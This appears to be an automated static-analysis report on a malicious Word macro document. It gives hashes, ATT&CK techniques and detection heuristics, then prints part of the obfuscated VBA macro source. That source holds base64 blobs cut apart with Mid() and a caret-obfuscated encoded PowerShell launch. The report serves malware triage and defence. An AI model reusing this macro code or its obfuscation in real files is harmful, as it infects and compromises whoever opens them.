Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 37843e217052bf30…

MALICIOUS

Office (OLE)

67.5 KB Created: 2017-10-17 13:36:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 7e8402b0304d67dbe1a4c9fdc6fad25e SHA-1: 60e728a28d53a46ed88271fcc42d0a4f9bcd18cf SHA-256: 37843e217052bf30215e6d4a40a5485144d40bce6245e03afc6003a27ac70fe3
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'AutoOpen' macro is present and triggers a 'Shell()' call, indicating execution of arbitrary code. The VBA script appears to be heavily obfuscated, but the presence of a 'Shell()' call and the ClamAV detection for 'Doc.Macro.Obfuscation' strongly suggest it's designed to download and execute a secondary payload. No specific family could be identified due to the obfuscation.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8867 bytes
SHA-256: 74764e7175cb0512fc66a0d1bef5990cb84b02c5a70efbdaeb51f54488dff2b9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub JBduqlbqm()
vRcUnYNPL = "8ORX9J6Z2ALL83TODYWRDX9DPCKAANQB0ADEAMQAwAGUAMwAyAFcAMwA2ADsAMQAxADcAZQAxADEANABxADEAMAA4AFcAMQAxADUAcQA0ADEAJgAxADIAMwAmADEAMQA2AHIAMQAxADQAcQAxADIAMQAmAD68H3O"
jDRiMBBzAoQ = Mid(vRcUnYNPL, 28, 128)
zrLNrOKi = jDRiMBBzAoQ
hptPkh = "ICTOYIEAMgAzACYAMwA2AHsAMQAxADkAZQAxADAAMQByADkAOABXADkAOQBlADEAMAA4AFcAMQAwADUAVwAxADAAMQAmADEAMQAwAH0AMQAxADYAfQA0ADYAewA2ADgDIZRM8W5"
TXTkJZhzEdr = Mid(hptPkh, 7, 121)
PUfrFs = TXTkJZhzEdr
HwPkTW = "7BYB1GR5344ON8SQDQ3FWPGTGOEFDEAMAAzAFcAMQAwADEAewA1ADkAZQAxADIANQB9ADEAMgA1ACcALgBTAFAATABJAFQAKAAgACcAcQB9AHQAJgByAGUAOwB7Y6H11QF"
nKVWVrzq = Mid(HwPkTW, 29, 95)
tMPpIkmKDSI = nKVWVrzq
XMFhB = "4353XF9GQHOGP8AAxAGUAMQAwADcAcQAxADAAMQBjADEAMQC1BI83XT3NB"
AJOrXf = Mid(XMFhB, 15, 33)
anziALQt = AJOrXf
GXQUZ = "ND93TQII1ADQAewA0ADEAZQA1ADkAJgAzADYAcQAxADEAMgAmADkANwB0ADEAMQA2ACYAMQAwADQAcQAzADIAcQA2ADEAcQAzADIAfQAzADYAdAAxADAAMQByADEAMQAwAHsAMQAxADgAfQA1ADgAfQAxADEANgB9ADEAMAAxAH0AMQAwADkAYwAxADEAMgB0ADMAMgAmADQAMwB9ADMAMgBjADMAOQBxADkAMgA7ADMAOQBlADMAMgB0ADQAMwB7ADMAMgBlAD5TAPBI91OC"
UtzfPwHI = Mid(GXQUZ, 9, 259)
jifHhYwtzE = UtzfPwHI
zsSSJcLsB = "KEXHZAxADAAMQBlADEAMQA0ADsANAA5AHIANAA3AHEAMQAxADUAYwAxADAANAB7ADcAMAByADEAMQA4AGUAMQAyADAAfQA2ADUAcgA4ADYAJgA2ADcAZQAxADIAMABXADQANwB9ADQANABXADEAMAA0AGUAMQAxADYAZQAxADEANgB7ADEAMQAyAH0ANQA4AHQAM1QQG"
Dfjrj = Mid(zsSSJcLsB, 6, 188)
iRQVCX = Dfjrj
aIPcOVtt = "94AMwBlADEAMQA2AGUAMQAxADQAOwAxADAANQBXADEAMQAwAHIAMQAwADMAOwA0ADAAdAA0ADEAcgA0ADQAcQAzADIAdAAzADYAfQAxADEAMgBXADkANwBxADEAMQA2AH0AMQAwADQAdAA0ADEAcgA1ADkAOwA4ADMAewAxADEANgBXADkANwByADEAMQA0AH0AMQAxADYAcQA0ADUAcQA4ADAAVwAxADEANAB0ADEAMQAxHD33C6BWIH7PMNVP63K00T3QVI48"
dHwGHA = Mid(aIPcOVtt, 3, 237)
DboiVcjJi = dHwGHA
ZmOisITRM = "NXQAxADIAMAByADEAMAA1AHIAMQAxADUAOwAxADAAOAB0ADEAMQA3AHEAMQAwADkAYwAxADEAMgB7ADEAMQAyAGUANAA2AHQAMQAwADAAfQAxADAAMQBlADQANwB7ADYAOQB0ADcAMgB9ADEAMQA5AHIANAA3AHQAMwA5AHIANAA2AH0AOAAzAGUAMQAxADIAYwAxADAAOAA7ADEAMAA1AGUAMQAxAKL4U158TELRS7"
wHzcGzEO = Mid(ZmOisITRM, 3, 220)
trocoGzdR = wHzcGzEO
BLtLvHBX = "I2K1GQT9GCEANQBxADMAMgBxADYAMQBjADMAMgASL"
MtqlJaYufC = Mid(BLtLvHBX, 11, 29)
MvQYDU = MtqlJaYufC
aYTztb = "25CGY2N7Y7W9DQAAIF7ADMAOQB7ADEAMAA0AFcAMQAxADYAcgAxADEANgB7ADEAMQAyAHEANQA4AHIANAA3AHIANAA3AGUAMQAxADIAcQAxADEANwAmADEAMQA0ADsAMQAwADcAdAAxADAAOAA7ADQANgB0ADEAMAAwACYAMQAwADEAVwA0ADcAZQA3ADAAJgAxADEAMABlADEAMAAwAH0AMQAxADgAOwA3ADMAZQAxADAAMQAmADcAMgB9ADQANwBxADQANAAmADEAMAA0AFcAMQAxADYAJgAxADEANgB0ADEAMQAyAHsARK7XV0Z464U1"
BZizLIzsI = Mid(aYTztb, 19, 293)
FzjwzVrTi = BZizLIzsI
kifzzkKc = "QATGR43OA0N1YADAAfQAxADAAMAByADEAMQAxAHIAMQAwADkAcQA1ADkAZQAzADYAYwAxADEANwAmADEAMQA0AHQAMQAwADgAVwAxAD0GIN1P"
biOLu = Mid(kifzzkKc, 14, 90)
cMPTf = biOLu
aqqKOc = "WRY9FrACQAZQBOAFYAOgBQAFUAQgBMAGkAYwBbADUAXQArACcAWAAnACkAAB7X1UYQUPUGGSXGW4QIBYNM05F80"
cGvQtp = Mid(aqqKOc, 6, 53)
piKMKY = cGvQtp
umPWIJczQ = "WRANABXADEAMAAxAFcAMQAwADgAcgAxADAAOAAmADUAOQB0ADMANgBjADEAMQA5AHsAMQAwADEAfQA5ADgAdAA5ADkAVwAxADAAOAAmADEAMAA1ADsAMQAwADEAcgAxADEAMAByADEAMQ9UKCXWXKM8MIUC93C"
VEuWOQB = Mid(umPWIJczQ, 3, 139)
wnEIJDV = VEuWOQB
oTNDMNC = "5C1WMG0NOXT9LNQA4AFcANAA3AGUANAA3AH0ANQAxAGUAOQA5AHEAMQAwADMAcQAxADAAMgAmADEAMgAwAHIANAA2ADsAOQA5AHsAMQAxADEAVwAxADAAOQBXADQANwB9ADEAMgAwAHIAOQA3AHQAOAAxACYANAA3AHQANAA0AGMAMQAwADQAJgAxADEANgB0ADEAMQA2AHEAMQAxADIAcgA1ADgAOwA0ADcAOwA0ADcAVwAxADEANAA7ADEAM31VZINSHZ2YIVHKZ15P"
MZFNaa = Mid(oTNDMNC, 14, 241)
fcrLCdArHR = MZFNaa
rvIlAwsnb = "Sset %JBduqlbqm%=p^owe^rs&&set %wrUAVlnmU%=he^ll&&!%JBduqlbqm%!!%wrUAVlnmU%! -e IAAoACcAMwA2ADsAMQAxADkAdAAxADEANQB7ADkAOQByADEAMQA0ACYAMQAwADUAZQAxADEAMgBlADEAMQA2AHEAMwAyAHIANgAxAHIAMwAyAHEAMQAxADAAOwAxADAAMQAmADEAMQA5ACYANA881OT1XRZXJDUNE278Z"
mtMlB = Mid(rvIlAwsnb, 2, 225)
OGbGtQTzmh = mtMlB
NNtcXDo = "QJFYR945YJZ05N2FICAGMAVwAnACkAfABGAG8AU
... (truncated)

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